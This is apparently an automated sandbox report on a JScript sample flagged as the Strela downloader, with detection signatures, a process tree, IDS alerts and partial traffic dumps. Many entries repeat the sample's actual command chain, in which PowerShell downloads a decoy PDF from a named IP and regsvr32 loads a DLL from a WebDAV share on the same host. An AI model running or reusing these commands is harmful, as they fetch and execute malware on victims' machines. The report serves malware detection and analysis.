Edit tour

Windows Analysis Report
8708187442773418429.js

Overview

General Information

Sample name:	8708187442773418429.js
Analysis ID:	1588802
MD5:	3258ddf3b6564b27f65acaa10e9f48ef
SHA1:	30551a19398bb8dc7a4d603038ba5037099943be
SHA256:	25546671bb98a0b73f52b264b9a4e57e0ba09c1c353d06629394077a5cfd4366
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7404 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8708187442773418429.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7492 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7544 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7716 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7948 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6980 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1620,i,10431413393714387235,15800599284807576028,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7732 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7768 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8008 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7404	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7492, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7544, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7492, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7544, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8708187442773418429.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8708187442773418429.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8708187442773418429.js", ProcessId: 7404, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7768, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8708187442773418429.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7404, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ProcessId: 7492, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8708187442773418429.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7404, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ProcessId: 7492, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8708187442773418429.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7404, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ProcessId: 7492, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8708187442773418429.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7404, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ProcessId: 7492, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8708187442773418429.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7404, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ProcessId: 7492, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8708187442773418429.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8708187442773418429.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8708187442773418429.js", ProcessId: 7404, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7492, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7544, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7768, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8008, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7768, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8708187442773418429.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7404, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ProcessId: 7492, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:41:15.906497+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:41:18.853115+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:41:15.906497+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 8708187442773418429.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 8708187442773418429.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49706 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:41:15 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

